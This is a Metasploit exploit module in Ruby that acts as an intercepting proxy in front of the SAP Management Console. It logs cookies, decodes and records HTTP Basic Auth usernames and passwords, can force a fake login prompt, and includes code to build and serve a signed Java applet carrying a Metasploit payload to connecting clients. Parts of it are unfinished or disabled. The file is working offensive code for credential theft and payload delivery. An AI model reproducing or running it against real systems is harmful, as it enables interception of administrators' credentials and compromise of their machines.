##
# $Id:$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'
require 'rex'
require 'rex/zip'

class Metasploit4 < Msf::Exploit::Remote
	#Msf::Auxiliary

	include Msf::Exploit::Remote::TcpServer
	include Msf::Exploit::EXE
	include Msf::Auxiliary::Report


	def initialize
		super(
			'Name'        => 'SAP Management Console Capture: HTTP/HTTPS',
			'Version'     => '$Revision$',
			'Description'    => %q{
				This module acts as a proxy between the SAP Management Console and clients accessing it to capture credentials
			},
			'Author'      => [ 'Chris John Riley' ],
			'License'     => MSF_LICENSE,
			'Platform'      => [ 'java', 'win', 'linux', 'solaris' ],
			'Payload'       => { 'BadChars' => '', 'DisableNops' => true },
			'Targets'       =>
				[
					[ 'Generic (Java Payload)',
						{
							'Platform' => ['java'],
							'Arch' => ARCH_JAVA
						}
					],
					[ 'Windows x86 (Native Payload)',
						{
							'Platform' => 'win',
							'Arch' => ARCH_X86,
						}
					],
					[ 'Linux x86 (Native Payload)',
						{
							'Platform' => 'linux',
							'Arch' => ARCH_X86,
						}
					],
				],
			'DefaultTarget'  => 0
		)

		register_options(
			[
				OptAddress.new('FWDHOST',[ true, "The address of the SAP Management Console", nil ]),
				OptPort.new('FWDPORT',[ true, "The port of the SAP Management Console", 50013 ]),
				OptBool.new('FWDSSL',[ true, "Use SSL for connections to the FWDHOST", true ]),
				OptPort.new('SRVPORT',    [ true, "The local port to listen on.", 50013 ]),
				OptString.new('CERTCN', [ true, "The CN= value for the certificate. Cannot contain ',' or '/'",
				"SAPMC"]),
				OptString.new('APPLETNAME', [ true, "The main applet's class name.", "SAPMC"]),
				OptPath.new('SigningCert', [ false, "Path to a signing certificate in PEM or PKCS12 (.pfx) format"]),
				OptPath.new('SigningKey', [ false, "Path to a signing key in PEM format"]),
				OptString.new('SigningKeyPass', [ false, "Password for signing key (required if SigningCert is a .pfx)"]),
				OptBool.new('DEBUG',[ true, "View full data of all requests received (WARNING: Information Overload)", false ]),
			], self.class)
	end

	def setup
		load_cert
		load_applet_class
		super
	end

	def exploit

		@myhost		= datastore['SRVHOST']
		@myport		= datastore['SRVPORT']
		@fwdhost	= datastore['FWDHOST']
		@fwdport	= datastore['FWDPORT']

		@logged		= []

		print_status("Listening for traffic on #{@myhost}:#{@myport} [SSL:#{datastore['SSL']}]")
		print_status("Forwarding all requests to #{@fwdhost}:#{@fwdport} [SSL:#{datastore['FWDSSL']}]")
		start_service()
		self.service.wait
	end

	def on_client_connect(c)
		c.extend(Rex::Proto::Http::ServerClient)
		c.init_cli(self)
	end

	def on_client_data(cli)
		begin
			data = cli.get_once(-1, 5)
			vprint_status("Data received from #{cli.peerhost}\n#{data}") if datastore['DEBUG'] == true
			raise ::Errno::ECONNABORTED if !data or data.length == 0
			case cli.request.parse(data)
				when Rex::Proto::Http::Packet::ParseCode::Completed
					dispatch_request(cli, cli.request)
					cli.reset_cli
				when Rex::Proto::Http::Packet::ParseCode::Error
					close_client(cli)
			end
		rescue ::EOFError, ::Errno::EACCES, ::Errno::ECONNABORTED, ::Errno::ECONNRESET
		rescue ::OpenSSL::SSL::SSLError
		rescue ::Exception
			print_error("Error: #{$!.class} #{$!} #{$!.backtrace}")
		end

		close_client(cli)
	end

	def close_client(cli)
		cli.close
		# Require to clean up the service properly
		raise ::EOFError
	end

	def dispatch_request(cli, req)

		phost = cli.peerhost
		ua = req['User-Agent']

		mysrc = Rex::Socket.source_address(cli.peerhost)
		@hhead = (req['Host'] || @myhost).split(':', 2)[0]

		if (req.resource =~ /^http\:\/+([^\/]+)(\/*.*)/)
			req.resource = $2
			@hhead, nport = $1.split(":", 2)[0]
			@myport = nport || 50013
		end

		cookies = req['Cookie'] || ''

		if(cookies.length > 0)
			report_note(
				:host => cli.peerhost,
				:type => "http_cookies",
				:data => @hhead + " " + cookies,
				:update => :unique_data
			)
		end

		print_status("HTTP REQUEST #{cli.peerhost} > #{@hhead}:#{@myport} #{req.method} #{req.resource} #{ua} cookies=#{cookies}")

		if(req['Authorization'] and req['Authorization'] =~ /basic/i) and (!@logged.include?(cli.peerhost))
			basic,auth = req['Authorization'].split(/\s+/)
			user,pass  = Rex::Text.decode_base64(auth).split(':', 2)
			report_auth_info(
				:host      => cli.peerhost,
				:port      => @myport,
				:sname     => 'http',
				:user      => user,
				:pass      => pass,
				:active    => true
			)

			report_note(
				:host     => cli.peerhost,
				:type     => "http_auth_extra",
				:data     => req.resource.to_s,
				:update => :unique_data
			)
			print_good("HTTP Basic Auth #{cli.peerhost} > #{@hhead}:#{@myport} #{user} / #{pass} => #{req.resource}")
			@logged << cli.peerhost # Only log creds once
		end

		report_note(
			:host => cli.peerhost,
			:type => "http_request",
			:data => "#{@hhead}:#{@myport} #{req.method} #{req.resource} #{ua}",
			:update => :unique_data
		)

		vprint_status("Request received: #{req.raw_uri}")
		vprint_status("Requesting resource from #{@fwdhost}:#{@fwdport}")

		if req.resource =~/\/(.*).jarnever$/i

			#deliver_java_exploit(cli)
			begin
				res =
					"HTTP/1.1 200 OK\r\n" +
					"Host: #{@hhead}\r\n" +
					"Content-Type: text/html\r\n" +
					"Content-Length: 4\r\n" +
					"Connection: Close\r\n\r\n" +
					"<html><h1>TEST</h1></html>"

				cli.put(res)
			rescue ::Rex::ConnectionError
				print_error("#{cli.peerhost} Unable to communicate")
			end
			return

			return

		elsif req.resource =~ /\/sapmcnever\/(.*)/i and !req['Authorization'] and !logged.include?(cli.peerhost)
			print_good("Request to sapmc without Auth token seen - Forcing Logon through Basic Auth")
			auth_msg = "SAP Management Console: Restricted Access"
			force_basic_auth(cli, auth_msg)

		else
			proxy_request(cli, req)

			return
		end
	end

	def proxy_request(cli, req)
		http = Net::HTTP.new(@fwdhost, @fwdport)
		http.read_timeout = 10
		http.use_ssl = (datastore['FWDSSL'] == true)
		http.verify_mode = OpenSSL::SSL::VERIFY_NONE if http.use_ssl?

		case req.method
		when "GET"
			request = Net::HTTP::Get.new(req.raw_uri)
		when "HEAD"
			request = Net::HTTP::Get.new(req.raw_uri)
		when "POST"
			vprint_status("POST request")
			request = Net::HTTP::Post.new(req.raw_uri)
		else
			print_error("Unsupported request #{req.method}")
		end

		request.add_field("Authorization", req['Authorization']) if req['Authorization']
		request.add_field("Cookie", req['Cookie']) if req['Cookie']
		request.add_field("Host", req['Host']) if req['Host']

		begin
			fwdreq = http.request(request)
		rescue ::Rex::ConnectionError
			print_error("#{@fwdhost}_#{@fwdport} Unable to communicate")
		end

		vprint_status("Received response #{fwdreq.code} #{fwdreq.msg} from #{@fwdhost}:#{@fwdport}")
		if not fwdreq
			print_error("#{@fwdhost}:#{@fwdport} Unable to connect to fwd host")
			return
		end

		data = fwdreq.body
		# Rewrite links to ensure they remain in the correct context (SSL or NOSSL)
		if !data or data.length == 0
			# no data to filter
		else
			data = data.sub('<a HREF="http://', '<a HREF="https://') if datastore['SSL'] == true
			data = data.sub('<a HREF="https://', '<a HREF="http://') if datastore['SSL'] == false
		end

		host = fwdreq['host'] ||= @fwdhost

		begin
			res  =
				"HTTP/#{fwdreq.http_version} #{fwdreq.code} #{fwdreq.msg}\r\n" +
				"Host: #{host}\r\n" +
				"Expires: 0\r\n" +
				"Cache-Control: must-revalidate\r\n" +
				"Content-Type: #{fwdreq['content-type']}\r\n"

			if !data or data.length == 0
				# HEAD request or empty response
			else
				res << "Content-Length: #{data.length}\r\n"
			end

			if fwdreq.code == '302' || fwdreq.code == '301'
				# Rewrite location headers to ensure they remain in the correct context (SSL or NOSSL)
				res << "location: #{fwdreq['location'].sub('http://', 'https://')}\r\n" if datastore['SSL'] == true
				res << "location: #{fwdreq['location'].sub('https://', 'http://')}\r\n" if datastore['SSL'] == false
			end

			res << "server: #{fwdreq['server']}\r\n" if fwdreq['server'] != ''
			res << "www-authenticate: #{fwdreq['www-authenticate']}\r\n" if fwdreq.code == '401'
			res << "Connection: Close\r\n\r\n#{data}"

			cli.put(res)

		rescue ::Rex::ConnectionError
			print_error("#{cli.peerhost} Unable to communicate")
		end
		return
	end

	def force_basic_auth(cli, msg)

		begin
			res =
				"HTTP/1.1 401 Authorization Required\r\n" +
				"Host: #{@hhead}\r\n" +
				"Content-Type: text/html\r\n" +
				"Content-Length: 4\r\n" +
				"WWW-Authenticate: Basic realm=\"#{msg}\"" +
				"Connection: Close\r\n\r\n"

			cli.put(res)
		rescue ::Rex::ConnectionError
			print_error("#{cli.peerhost} Unable to communicate")
		end
		return
	end

	def deliver_java_exploit(cli)
		vprint_status("in deliver java exploit")
		print_good("Request to sapmc Java APPLET seen - Sending JAVA Exploit")

		# INSERT CODE HERE TO REPLACE ORIGINAL SAP JAVA APPLET WITH EXPLOIT

		p = regenerate_payload(cli)
		if not p
			print_error("Failed to generate the payload.")
			# Send them a 404 so the browser doesn't hang waiting for data
			# that will never come.
			send_not_found(cli)
			return
		end

		# If we haven't returned yet, then this is a request for our applet
		# jar, build one for this victim.
		jar = p.encoded_jar

		jar.add_file("#{datastore["APPLETNAME"]}.class", @applet_class)

		jar.build_manifest(:main_class => "metasploit.Payload")

		jar.sign(@key, @cert, @ca_certs)
		#File.open("payload.jar", "wb") { |f| f.write(jar.to_s) }

		begin
			res =
				"HTTP/1.1 200 OK\r\n" +
				"Host: #{@hhead}\r\n" +
				"Content-Type: text/html\r\n" +
				"Content-Length: 4\r\n" +
				"Connection: Close\r\n\r\n#{jar.to_s}"
				#"<html><h1>BOOM GOES THE DYNAMITE</h1><html>"

			#send_response_html( cli, generate_html, { 'Content-Type' => 'text/html' } )

			cli.put(res)
		rescue ::Rex::ConnectionError
			print_error("#{cli.peerhost} Unable to communicate")
		end
		return
	end

	def generate_html
		vprint_status("in generate html")
		html  = %Q|<html><head><title>Loading, Please Wait...</title></head>\n|
		html << %Q|<body><center><p>Loading, Please Wait...</p></center>\n|
		#html << %Q|<applet archive="#{get_resource.sub(%r|/$|, '')}/#{datastore["APPLETNAME"]}.jar"\n|
		vprint_line(html)
		if @use_static
			html << %Q|  code="SiteLoader" width="1" height="1">\n|
		else
			html << %Q|  code="#{datastore["APPLETNAME"]}" width="1" height="1">\n|
		end
		html << %Q|</applet>\n</body></html>|
		return html
	end

	# load_cert and load_applet_class taken from java_signed_applet code

	def load_cert
		if datastore["SigningCert"]
			cert_str = File.open(datastore["SigningCert"], "rb") {|fd| fd.read(fd.stat.size) }
			begin
				pfx = OpenSSL::PKCS12.new(cert_str, datastore["SigningKeyPass"])
				@cert = pfx.certificate
				@key  = pfx.key
				@ca_certs = pfx.ca_certs

			rescue OpenSSL::PKCS12::PKCS12Error
				# it wasn't pkcs12, try it as concatenated PEMs
				certs = cert_str.scan(/-+BEGIN CERTIFICATE.*?END CERTIFICATE-+/m)
				@cert = OpenSSL::X509::Certificate.new(certs.shift)
				@ca_certs = nil
				while certs.length > 0
					@ca_certs ||= []
					@ca_certs << OpenSSL::X509::Certificate.new(certs.shift)
				end

				if datastore["SigningKey"] and File.file?(datastore["SigningKey"])
					key_str = File.open(datastore["SigningKey"], "rb") {|fd| fd.read(fd.stat.size) }
				else
					key_str = cert_str
				end

				# First try it as RSA and fallback to DSA if that doesn't work
				begin
					@key = OpenSSL::PKey::RSA.new(cert_str, datastore["SigningKeyPass"])
				rescue OpenSSL::PKey::RSAError => e
					@key = OpenSSL::PKey::DSA.new(cert_str, datastore["SigningKeyPass"])
				end
			end
		else
			# Name.parse uses a simple regex that isn't smart enough to allow
			# slashes or commas in values, just remove them.
			certcn = datastore["CERTCN"].gsub(%r|[/,]|, "")
			x509_name = OpenSSL::X509::Name.parse(
				"C=Unknown/ST=Unknown/L=Unknown/O=Unknown/OU=Unknown/CN=#{certcn}"
				)

			@key  = OpenSSL::PKey::DSA.new(1024)
			@cert = OpenSSL::X509::Certificate.new
			@cert.version = 2
			@cert.serial = 1
			@cert.subject = x509_name
			@cert.issuer = x509_name
			@cert.public_key = @key.public_key
			@cert.not_before = Time.now
			@cert.not_after = @cert.not_before + 3600*24*365*3 # 3 years
		end
	end

	def load_applet_class
		data_dir = File.join(Msf::Config.data_directory, "exploits", 'java_signed_applet')
		if datastore["APPLETNAME"]
			unless datastore["APPLETNAME"] =~ /^[a-zA-Z_$]+[a-zA-Z0-9_$]*$/
				raise ArgumentError.new("APPLETNAME must conform to rules of Java identifiers (alphanum, _ and $, must not start with a number)")
			end
			siteloader = File.open(File.join(data_dir, "SiteLoader.class"), "rb") {|fd| fd.read(fd.stat.size) }
			# Java strings are prefixed with a 2-byte, big endian length
			find_me = ["SiteLoader".length].pack("n") + "SiteLoader"
			idx = siteloader.index(find_me)
			len = [datastore["APPLETNAME"].length].pack("n")
			# Now replace it with the new class name
			siteloader[idx, "SiteLoader".length+2] = len + datastore["APPLETNAME"]
		else
			# Don't need to replace anything, just read it in
			siteloader = File.open(File.join(data_dir, "SiteLoader.class"), "rb") {|fd| fd.read(fd.stat.size) }
		end
		@applet_class = siteloader
	end

end